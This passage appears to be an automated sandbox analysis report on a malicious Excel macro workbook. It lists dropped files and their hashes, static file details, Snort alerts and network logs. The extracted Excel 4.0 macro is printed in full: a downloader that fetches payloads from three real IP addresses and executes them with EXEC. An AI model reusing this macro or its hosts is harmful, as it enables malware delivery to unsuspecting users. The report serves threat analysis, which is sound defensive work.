                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Permission-414467145-06252021.LNK
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:55 2020, mtime=Fri Jun 25 11:14:06 2021, atime=Fri Jun 25 11:14:06 2021, length=153171, window=hide
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):2310
                                                                                                                                                  Entropy (8bit):4.7033086268941915
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:48:8Kr6zqmt94SIyKSBqBB6pKr6zqmt94SIyKSBqBB6:8rzZtMKrzZtM
                                                                                                                                                  MD5:9611BB32458DE0DFF867587A7A0CA3D6
                                                                                                                                                  SHA1:09FB3A21BA6DA2A6345FFB30CFC97623469361D8
                                                                                                                                                  SHA-256:8CA23CB6310B56C4C6B58E60848F37688DB2B534B4EE68D5637912E2E3CFE9FB
                                                                                                                                                  SHA-512:502D18E03681726D9DB8C1A576F03F9E610AC15AF61A1ACC1CBB0D13F9A491A11D70709CFC074CE7D92A09ABF57BED9A2DBEAEC87ED07D7E2354D5497D56AD4B
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: L..................F.... ...r..U....'....i..'....i..SV...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...R.a....................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q}<..user.<.......N...R.a....#J........................j.o.n.e.s.....~.1.....>Q.<..Desktop.h.......N...R.a.....Y..............>.....(...D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2..X...R.a .PERMIS~1.XLS..v......>Q|<.R.a.....V....................n<E.P.e.r.m.i.s.s.i.o.n.-.4.1.4.4.6.7.1.4.5.-.0.6.2.5.2.0.2.1...x.l.s.m.......h...............-.......g...........>.S......C:\Users\user\Desktop\Permission-414467145-06252021.xlsm..9.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.P.e.r.m.i.s.s.i.o.n.-.4.1.4.4.6.7.1.4.5.-.0.6.2.5.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......715575...........!a..%.H.VZAj...{................!a..%.H.VZAj...{...........................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):142
                                                                                                                                                  Entropy (8bit):4.642670559637109
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:oyBVomxW+LxCRTnv5NUltLxCRTnv5NUlmxW+LxCRTnv5NUlv:djHC5vI/FC5vIaC5vI1
                                                                                                                                                  MD5:DAC8913182CCB2EAEA86304F342799F4
                                                                                                                                                  SHA1:394074391582ABC7A7F67CB563FC01E438712E12
                                                                                                                                                  SHA-256:F287F47508BBBDFC7A95F43C0F435981E1EEDADBBF48926265E42EA173C07199
                                                                                                                                                  SHA-512:EF9B7E2A51367E553A3116022DBE8FE56E7845FE79B05902048FF6C3C409BECFAA9C7C59AA64E8BB8BF3A7AEE0A63A6E93A47A3681381578FE181A43728810D5
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: Desktop.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..Permission-414467145-06252021.LNK=0..[misc]..Permission-414467145-06252021.LNK=0..
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):22
                                                                                                                                                  Entropy (8bit):2.9808259362290785
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                  MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                  SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                  SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                  SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:high, very likely benign file
                                                                                                                                                  Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                  C:\Users\user\Desktop\C3C40000
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):153171
                                                                                                                                                  Entropy (8bit):7.664923963279183
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:EQUmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOO:d4P4346PgZw9gQaX
                                                                                                                                                  MD5:12C91792452047527412E56EA989C4F2
                                                                                                                                                  SHA1:08CA222837655C41E730B939C5994AD13F4CC315
                                                                                                                                                  SHA-256:79DCDDF89882885164D1EDDBA371B8AA88FC0E43538F3DB0B5DB8AD899CA9D98
                                                                                                                                                  SHA-512:0078147D19E4C1F9492FA728D72FAB9B682DB3431E482CFCBA9F707E4AB52CD43BAC2DE25E57437555B86B77F6F165ED7C62950477DE44F9030DEF2FCB9FE098
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ..Mn.0....z...B..EP...H.e. ....Xb.?.Lb.C.Q...,..X..y.Gi8.Y.].a...]T.V..N*.....g...1......1..../...XP..5kS..G..X9..V...H.34.XB..r2....6.)k......U..nE.o..e.....x...DF.... .[,.@..!.*.. c....|PD....5.......8..*;c.U>~............S.29...MF....%.x..~....J.w..s..anN...W.u.EV....Y.k.5P......2..rq.......N:.....F...T..\...hL..6.c(.#.D.5.....d..i.1......[.(...........!..g.|....B.\.Z...9.^.....Cp>...p...i..KOB...~...]=.N..;.||I.;.;.g........PK..........!...&n....o.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\Desktop\~$Permission-414467145-06252021.xlsm
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):330
                                                                                                                                                  Entropy (8bit):1.6081032063576088
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:RFXI6dtBhFXI6dtt:RJZhJ1
                                                                                                                                                  MD5:836727206447D2C6B98C973E058460C9
                                                                                                                                                  SHA1:D83351CF6DE78FEDE0142DE5434F9217C4F285D2
                                                                                                                                                  SHA-256:D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
                                                                                                                                                  SHA-512:7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
                                                                                                                                                  Malicious:true
                                                                                                                                                  Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                  Static File Info

                                                                                                                                                  General

                                                                                                                                                  File type:Microsoft Excel 2007+
                                                                                                                                                  Entropy (8bit):7.666395274852154
                                                                                                                                                  TrID:
                                                                                                                                                  • Excel Microsoft Office Open XML Format document (40004/1) 83.33%
                                                                                                                                                  • ZIP compressed archive (8000/1) 16.67%
                                                                                                                                                  File name:Permission-414467145-06252021.xlsm
                                                                                                                                                  File size:153750
                                                                                                                                                  MD5:590ca0e597487dd5ad6c2f1fb64184dd
                                                                                                                                                  SHA1:e141e27af930a2cdeafab2eb20727000de893629
                                                                                                                                                  SHA256:20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955
                                                                                                                                                  SHA512:fceb07823442eccaed6727b3c780fc7fbed475c15ac7131c7921505060b475d511e928c312d22980e40ebf12506d05308b55cc9fc0bc1509b244b435920fdc2e
                                                                                                                                                  SSDEEP:3072:SmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOYJ:p4P4346PgZw9gQaVJ
                                                                                                                                                  File Content Preview:PK..........!.........o.......[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                  File Icon

                                                                                                                                                  Icon Hash:74ecd0e2f696908c

                                                                                                                                                  Static OLE Info

                                                                                                                                                  General

                                                                                                                                                  Document Type:OpenXML
                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                  OLE File "Permission-414467145-06252021.xlsm"

                                                                                                                                                  Indicators

                                                                                                                                                  Has Summary Info:
                                                                                                                                                  Application Name:
                                                                                                                                                  Encrypted Document:
                                                                                                                                                  Contains Word Document Stream:
                                                                                                                                                  Contains Workbook/Book Stream:
                                                                                                                                                  Contains PowerPoint Document Stream:
                                                                                                                                                  Contains Visio Document Stream:
                                                                                                                                                  Contains ObjectPool Stream:
                                                                                                                                                  Flash Objects Count:
                                                                                                                                                  Contains VBA Macros:

                                                                                                                                                  Macro 4.0 Code

                                                                                                                                                  ,=NOW()&H8,.dat,,,,,,,"=REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)","=""http://185.240.103.219/""","=Jerutyg(0,F13&G8,""..\Kro.fis"",0,0)","=""http://190.14.37.3/""","=Jerutyg(0,F14&G8,""..\Kro.fis1"",0,0)","=""http://185.183.99.120/""","=Jerutyg(0,F15&G8,""..\Kro.fis2"",0,0)",,,,,,,,,,,,,,,,,,,,=RUN(Sheet4!I9),
                                                                                                                                                  =EXEC(Sheet2!O22)"=EXEC(Sheet2!O22&""1"")""=EXEC(Sheet2!O22&""2"")"=HALT()

                                                                                                                                                  Network Behavior

                                                                                                                                                  Snort IDS Alerts

                                                                                                                                                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                                                                  06/25/21-14:07:18.214699TCP1201ATTACK-RESPONSES 403 Forbidden8049167185.240.103.219192.168.2.22
                                                                                                                                                  06/25/21-14:07:19.251378TCP1201ATTACK-RESPONSES 403 Forbidden8049168190.14.37.3192.168.2.22
                                                                                                                                                  06/25/21-14:07:19.648943TCP1201ATTACK-RESPONSES 403 Forbidden8049169185.183.99.120192.168.2.22

                                                                                                                                                  Network Port Distribution

                                                                                                                                                  TCP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jun 25, 2021 14:14:06.334033966 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:14:06.418319941 CEST8049741185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:06.418469906 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:14:06.418955088 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:14:06.502295017 CEST8049741185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:06.508730888 CEST8049741185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:06.508822918 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:14:06.515553951 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:14:06.722048044 CEST8049743190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:06.722201109 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:14:06.722661972 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:14:06.927850008 CEST8049743190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.517127991 CEST8049743190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.517258883 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:14:07.523082972 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:14:07.591579914 CEST8049744185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.591698885 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:14:07.592284918 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:14:07.658082008 CEST8049744185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.876260042 CEST8049744185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.878528118 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:15:11.509923935 CEST8049741185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:11.510020971 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:15:12.518398046 CEST8049743190.14.37.3192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:12.518559933 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:15:12.876487017 CEST8049744185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:12.876688004 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:15:52.372396946 CEST4974480192.168.2.4185.183.99.120
                                                                                                                                                  Jun 25, 2021 14:15:52.372772932 CEST4974380192.168.2.4190.14.37.3
                                                                                                                                                  Jun 25, 2021 14:15:52.372993946 CEST4974180192.168.2.4185.240.103.219
                                                                                                                                                  Jun 25, 2021 14:15:52.438390970 CEST8049744185.183.99.120192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:52.458075047 CEST8049741185.240.103.219192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:52.578005075 CEST8049743190.14.37.3192.168.2.4

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jun 25, 2021 14:13:49.803792953 CEST5309753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:49.861149073 CEST53530978.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:50.597919941 CEST4925753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:50.598583937 CEST6238953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:50.647444963 CEST53492578.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:50.664827108 CEST53623898.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:52.211894035 CEST4991053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:52.275424004 CEST53499108.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:53.011872053 CEST5585453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:53.068489075 CEST53558548.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:54.027515888 CEST6454953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:54.073462963 CEST53645498.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:54.955852032 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:55.009562016 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:13:56.079884052 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:13:56.129420996 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:01.202008963 CEST5370053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:01.258799076 CEST53537008.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:02.355369091 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:02.439078093 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:02.893529892 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:02.998733044 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:03.913846016 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:03.992893934 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:04.026025057 CEST5653453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:04.077239990 CEST53565348.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:04.960900068 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:05.018937111 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:06.400698900 CEST5662753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:06.455456972 CEST53566278.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:07.008084059 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:07.065799952 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:09.290544987 CEST5662153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:09.338661909 CEST53566218.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:11.065752029 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:11.123637915 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:12.244128942 CEST6311653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:12.293607950 CEST53631168.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:14.897327900 CEST6407853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:14.944319963 CEST53640788.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:15.972584009 CEST6480153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:16.027544975 CEST53648018.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:16.907949924 CEST6172153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:16.954479933 CEST53617218.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:17.796219110 CEST5125553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:17.844451904 CEST53512558.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:18.708684921 CEST6152253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:18.762484074 CEST53615228.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:19.503060102 CEST5233753192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:19.578028917 CEST53523378.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:19.635977030 CEST5504653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:19.682327986 CEST53550468.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:38.247407913 CEST4961253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:38.458986998 CEST53496128.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:39.091515064 CEST4928553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:39.214430094 CEST5060153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:39.270306110 CEST53492858.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:39.278414011 CEST53506018.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:39.924125910 CEST6087553192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:39.988944054 CEST53608758.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:40.399044991 CEST5644853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:40.458919048 CEST53564488.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:41.091136932 CEST5917253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:41.146218061 CEST53591728.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:41.669269085 CEST6242053192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:41.725688934 CEST53624208.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:42.237941027 CEST6057953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:42.293040991 CEST53605798.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:43.185452938 CEST5018353192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:43.233231068 CEST53501838.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:44.085347891 CEST6153153192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:44.144552946 CEST53615318.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:44.593305111 CEST4922853192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:44.651438951 CEST53492288.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:45.177261114 CEST5979453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:45.224232912 CEST53597948.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:45.333513021 CEST5591653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:45.382678986 CEST53559168.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:54.781342983 CEST5275253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:54.829408884 CEST6054253192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:54.847568035 CEST53527528.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:54.893243074 CEST53605428.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:14:59.517430067 CEST6068953192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:14:59.580306053 CEST53606898.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:29.134852886 CEST6420653192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:15:29.190716028 CEST53642068.8.8.8192.168.2.4
                                                                                                                                                  Jun 25, 2021 14:15:30.310060024 CEST5090453192.168.2.48.8.8.8
                                                                                                                                                  Jun 25, 2021 14:15:30.384419918 CEST53509048.8.8.8192.168.2.4

                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  • 185.183.99.120

                                                                                                                                                  HTTP Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  0192.168.2.449741185.240.103.21980C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  Jun 25, 2021 14:14:06.418955088 CEST1071OUTGET /44372.593127662.dat HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: 185.240.103.219
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jun 25, 2021 14:14:06.508730888 CEST1072INHTTP/1.1 403 Forbidden
                                                                                                                                                  Server: nginx
                                                                                                                                                  Date: Fri, 25 Jun 2021 12:14:06 GMT
                                                                                                                                                  Content-Type: text/html
                                                                                                                                                  Content-Length: 548
                                                                                                                                                  Connection: keep-alive
                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                  Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  1192.168.2.449743190.14.37.380C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  Jun 25, 2021 14:14:06.722661972 CEST1073OUTGET /44372.593127662.dat HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: 190.14.37.3
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jun 25, 2021 14:14:07.517127991 CEST1085INHTTP/1.1 403 Forbidden
                                                                                                                                                  Server: nginx
                                                                                                                                                  Date: Fri, 25 Jun 2021 12:14:07 GMT
                                                                                                                                                  Content-Type: text/html
                                                                                                                                                  Content-Length: 548
                                                                                                                                                  Connection: keep-alive
